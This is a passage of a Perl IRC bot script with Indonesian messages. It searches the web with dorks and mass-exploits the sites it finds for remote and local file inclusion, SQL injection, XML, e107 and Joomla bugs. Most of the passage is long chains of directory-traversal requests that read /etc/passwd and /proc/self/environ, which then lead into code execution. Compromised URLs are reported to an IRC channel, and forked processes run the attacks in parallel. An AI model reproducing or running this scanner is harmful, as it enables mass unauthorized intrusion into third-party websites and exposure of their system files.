  391. #########################
  392. sub s_scanz {
  393. my ($to,$bug,$dork,$sb,$type,$autodom) = @_;
  394. $sb = "cr".$sb.".txt";
  395. $dork = bersihdork($to,$dork);
  396. my @domini = SiteDomains();
  397.  
  398. if($autodom == 1){
  399. my %typez = (
  400. 1 => "RFI & LFI & XML & SQL ScaNneR",
  401. 2 => "RFI & LFI & XML & SQL ScaN & ExpLoiT",
  402. 3 => "JooMLa MaSs ScaN & ExpLoiT"
  403. );
  404. my $badbug = cek_bug($bug);
  405. if ($badbug == 1) { irc_msg($to,$colz{4}."BuGnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  406. my $baddork = cek_dork($dork);
  407. if ($baddork == 1) { irc_msg($to,$colz{4}."DorKnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  408. if ($type == 3) {
  409. my $h = bugjoomla("hitung");
  410. if ($h == 0) { msge($to,"Joomla",$colz{4}."BuGnya Ga BiSa DiLoaD!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  411. }
  412. irc_msg($to,$colz{9}."MeMeRikSa ReSpoN..");
  413. my $stat = cek_respon($to);
  414. if ($stat != 2) { irc_msg($to,$colz{4}."ReSpoN Ga BeKerJa!".$colz{12}." ScaNning diCaNCeL!"); return; }
  415.  
  416. irc_msg($to,$colz{14}.$typez{$type}." DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  417.  
  418. irc_msg($to,$colz{14}."BuGz:".$colz{7}." $bug ") if ($type != 3);
  419. irc_msg($to,$colz{14}."DoRkz:".$colz{7}." $dork ");
  420. s_cari($to,$dork,$sb,$bug,$type);
  421. s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
  422. irc_msg($to,$colz{14}.$typez{$type}." SeLeSai!".$colz{9}." $dork ".$colz{1}."ID: $sb");
  423. return;
  424. }
  425. elsif($autodom == 2){
  426. foreach my $Domains(@domini){
  427.  
  428.  
  429. my %typez = (
  430. 1 => "Auto DorkZ RFI & LFI & XML & SQL ScaNneR",
  431. 2 => "Auto DorkZ RFI & LFI & XML & SQL ScaN & ExpLoiT",
  432. 3 => "Auto DorkZ JooMLa MaSs ScaN & ExpLoiT"
  433. );
  434. my $badbug = cek_bug($bug);
  435. if ($badbug == 1) { irc_msg($to,$colz{4}."BuGnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  436. my $baddork = cek_dork($Domains." ".$dork);
  437. if ($baddork == 1) { irc_msg($to,$colz{4}."DorKnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  438. if ($type == 3) {
  439. my $h = bugjoomla("hitung");
  440. if ($h == 0) { msge($to,"Joomla",$colz{4}."BuGnya Ga BiSa DiLoaD!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  441. }
  442. irc_msg($to,$colz{9}."MeMeRikSa ReSpoN..");
  443. my $stat = cek_respon($to);
  444. if ($stat != 2) { irc_msg($to,$colz{4}."ReSpoN Ga BeKerJa!".$colz{12}." ScaNning diCaNCeL!"); return; }
  445.  
  446. irc_msg($to,$colz{14}.$typez{$type}." DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  447.  
  448. irc_msg($to,$colz{14}."BuGz:".$colz{7}." $bug ") if ($type != 3);
  449. irc_msg($to,$colz{14}."DoRkz:".$colz{7}." ".$Domains." ".$dork);
  450. s_cari($to,$Domains." ".$dork,$sb,$bug,$type);
  451. s_eksploit(1,$to,$bug,$Domains." ".$dork,$sb) if ($type == 1);
  452. irc_msg($to,$colz{14}.$typez{$type}." SeLeSai!".$colz{9}." ".$Domains." ".$dork.$colz{1}." ID: $sb");
  453.  
  454. }
  455. return;
  456. }
  457. }
  458.  
  459. sub crsql_scanz {
  460. my ($to,$bug,$dork,$sb,$type,$autodom) = @_;
  461. $sb = "cr".$sb.".txt";
  462. $dork = bersihdork($to,$dork);
  463. my @domini = SiteDomains();
  464. if($autodom == 1){
  465. if ($type == 1){
  466. my $badbug = cek_bug($bug);
  467. if ($badbug == 1) { irc_msg($to,$colz{4}."BuGnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  468. }
  469. my $baddork = cek_dork($dork);
  470. if ($baddork == 1) { irc_msg($to,$colz{4}."DorKnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  471. if ($type == 1){
  472. irc_msg($to,$colz{14}.$colz{4}."SQL ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  473. crsql_cari($to,$bug,$dork,$sb,1);
  474. }
  475. if ($type == 2){
  476. irc_msg($to,$colz{14}.$colz{4}."XML ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  477. crsql_cari($to,$bug,$dork,$sb,2);
  478. }
  479. if ($type == 3){
  480. irc_msg($to,$colz{14}.$colz{4}."e107 ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  481. crsql_cari($to,$bug,$dork,$sb,3);
  482. }
  483. if ($type == 4){
  484. irc_msg($to,$colz{14}.$colz{4}."XSSLFI ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  485. crsql_cari($to,$bug,$dork,$sb,4);
  486. }
  487.  
  488. irc_msg($to,$colz{14}."BuGz:".$colz{7}." $bug ");
  489. irc_msg($to,$colz{14}."DoRkz:".$colz{7}." $dork ");
  490.  
  491. if ($type == 1){ irc_msg($to,$colz{14}."SQL ScaN & ExpLoiT SeLeSai!".$colz{9}." $dork ".$colz{1}."ID: $sb"); }
  492. if ($type == 2){ irc_msg($to,$colz{14}."XML ScaN & ExpLoiT SeLeSai!".$colz{9}." $dork ".$colz{1}."ID: $sb"); }
  493. if ($type == 3){ irc_msg($to,$colz{14}."e107 ScaN & ExpLoiT SeLeSai!".$colz{9}." $dork ".$colz{1}."ID: $sb"); }
  494. if ($type == 4){ irc_msg($to,$colz{14}."XSSLFI ScaN & ExpLoiT SeLeSai!".$colz{9}." $dork ".$colz{1}."ID: $sb"); }
  495. return;
  496. }
  497.  
  498. elsif($autodom == 2){
  499. foreach my $Domains(@domini){
  500. if ($type == 1){
  501. my $badbug = cek_bug($bug);
  502. if ($badbug == 1) { irc_msg($to,$colz{4}."BuGnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  503. }
  504.  
  505. my $baddork = cek_dork($Domains." ".$dork);
  506. if ($baddork == 1) { irc_msg($to,$colz{4}."DorKnya JeLek!".$colz{12}." ScaNNinG DiCanCeL"); return; }
  507. if ($type == 1){
  508. irc_msg($to,$colz{14}.$colz{4}."Auto DorkZ SQL ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  509. crsql_cari($to,$bug,$Domains." ".$dork,$sb,1);
  510. }
  511. if ($type == 2){
  512. irc_msg($to,$colz{14}.$colz{4}."Auto DorkZ XML ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  513. crsql_cari($to,$bug,$Domains." ".$dork,$sb,2);
  514. }
  515. if ($type == 3){
  516. irc_msg($to,$colz{14}.$colz{4}."Auto DorkZ e107 ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  517. crsql_cari($to,$bug,$Domains." ".$dork,$sb,3);
  518. }
  519. if ($type == 4){
  520. irc_msg($to,$colz{14}.$colz{4}."XSSLFI ScaN & ExpLoiT DiMuLai! $colz{14} ".$conf{rfipid}."/PID ID:".$colz{4}." $sb");
  521. crsql_cari($to,$bug,$Domains." ".$dork,$sb,4);
  522. }
  523.  
  524. irc_msg($to,$colz{14}."BuGz:".$colz{7}." $bug ");
  525. irc_msg($to,$colz{14}."DoRkz:".$colz{7}." ".$Domains." ".$dork);
  526.  
  527. if ($type == 1){ irc_msg($to,$colz{14}."Auto DorkZ SQL ScaN & ExpLoiT SeLeSai!". $colz{12}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
  528. if ($type == 2){ irc_msg($to,$colz{14}."Auto DorkZ XML ScaN & ExpLoiT SeLeSai!". $colz{12}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
  529. if ($type == 3){ irc_msg($to,$colz{14}."Auto DorkZ e107 ScaN & ExpLoiT SeLeSai!". $colz{12}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
  530. if ($type == 4){ irc_msg($to,$colz{14}."Auto DorkZ XSSLFI ScaN & ExpLoiT SeLeSai!".$colz{12}." ".$Domains." ".$dork." ".$colz{1}."ID: $sb"); }
  531. }
  532. return;
  533. }
  534. }
  535.  
  536. sub s_eksploit {
  537. #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
  538. #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
  539. my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
  540. my @prosesbaru;
  541. my @semuatarget;
  542. my $hitung;
  543. my $num = 0;
  544. my @bugjoomla = bugjoomla($chan) if ($type == 3);
  545. unless (open(FILEZ,"< $tf")) { msge($chan,"FILE",$colz{4}."Ga BiSa BuKa $tf!"); return; }
  546. while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
  547. close(FILEZ);
  548. f_hapus($tf);
  549. my @kotor = lnk_sortir(@semuatarget);
  550. my @target = lnk_filter(@kotor);
  551. if (!$engine) {
  552. irc_msg($chan,$colz{14}."HaSiL PeNCaRiaN".$colz{9}." $dork");
  553. irc_msg($chan,$colz{14}."ToTaL: ".$colz{13}." ".scalar(@semuatarget)." ".$colz{14}."KoToR: "." ".$colz{13}.scalar(@kotor)." ".$colz{14}."BeRsih: ".$colz{13}." ".scalar(@target).$colz{2}." ID: $tf ".$colz{7}."ExpLoiTaSi DiMuLai!");
  554. }
  555. foreach my $situs (@target) {
  556. $hitung++;
  557. if ($hitung % $conf{rfipid} == 0) {
  558. foreach my $f (@prosesbaru) { waitpid($f,0); }
  559. $num = 0;
  560. }
  561. if ($type == 1 && $hitung % $conf{rficnt} == 0) {
  562. irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
  563. irc_msg($chan,$colz{14}." ".$hitung." $colz{13} ".scalar(@target));
  564. }
  565. if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
  566. irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
  567. irc_msg($chan,$colz{14}." $engine ".$colz{13}." ".$hitung." ".$colz{1}." => ".$colz{12}." ".scalar(@target). " ");
  568. }
  569.  
  570. $prosesbaru[$num] = fork();
  571. if ($prosesbaru[$num] == 0) {
  572. if ($type != 3) {
  573. my $q = bukasitus("http://".$situs.$bug.$Ckrid."?");
  574. if ($q =~ /Casper_Kae/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  575. elsif($q =~ /failed to open stream/){
  576. my $qlfi = bukasitus("http://".$situs.$bug.$lfitest);
  577. my $qlfienviron;
  578. if ($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,$chan,$situs,$bug.$lfitest."&casper=",$engine); sleep($conf{sleepz}); }
  579. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  580. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  581. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  582. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  583. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  584. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  585. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  586. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  587. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  588. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  589. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  590. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  591. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  592. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  593. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  594. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  595. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../etc/passwd%00".$colz{1}." ]");}}}
  596. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../etc/passwd%00".$colz{1}." ]");}}}
  597. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../etc/passwd%00".$colz{1}." ]");}}}
  598. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../etc/passwd%00".$colz{1}." ]");}}}
  599. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../etc/passwd%00".$colz{1}." ]");}}}
  600.  
  601. else {
  602. $q = bukasitus("http://".$situs.$bug.$xsslfitst);
  603. if ($q =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/) { irc_msg($chan,"[".$colz{9}."XSSLFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../etc/passwd/[512b]/..".$colz{1}."]"); }
  604. }
  605. }
  606. else {
  607. $q = bukasitus("http://".$situs.$bug.$rcetest);
  608. if ($q =~ /casperkae/) { irc_msg($chan,"[".$colz{9}."RCE".$colz{1}."][".$colz{12}." http://".$situs.$bug." ".$colz{1}."]".$colz{14}." "); }
  609. }
  610. }
  611. else {
  612. foreach my $bug (@bugjoomla) {
  613. my $q = bukasitus("http://".$situs.$bug.$Ckrid."?");
  614. if ($q =~ /Casper_Kae/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
  615. elsif($q =~ /failed to open stream/){
  616. my $qlfi = bukasitus("http://".$situs.$bug.$lfitest);
  617. my $qlfienviron;
  618. if ($qlfi =~ /HTTP_USER_AGENT/){ safemode(1,$chan,$situs,$bug.$lfitest."&casper=",$engine); sleep($conf{sleepz}); }
  619. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  620. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
  621. elsif ($qlfi !~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){ $qlfi = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00"); if ($qlfi =~ /root:(.+):(.+):(.+):(.+):(.+):(.+)/){$qlfienviron = bukasitus("http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00"); if($qlfienviron =~ /HTTP_USER_AGENT/){safemode(1,$chan,$situs,$bug."../../../../../../../../../../../../../../../../../../../proc/self/environ%00&casper=",$engine); sleep($conf{sleepz});}else{ irc_msg($chan,"[".$colz{9}."LFI".$colz{1}."][".$colz{12}." http://".$situs.$bug."../../../../../../../../../../../../../../../../../../../etc/passwd%00".$colz{1}." ]");}}}
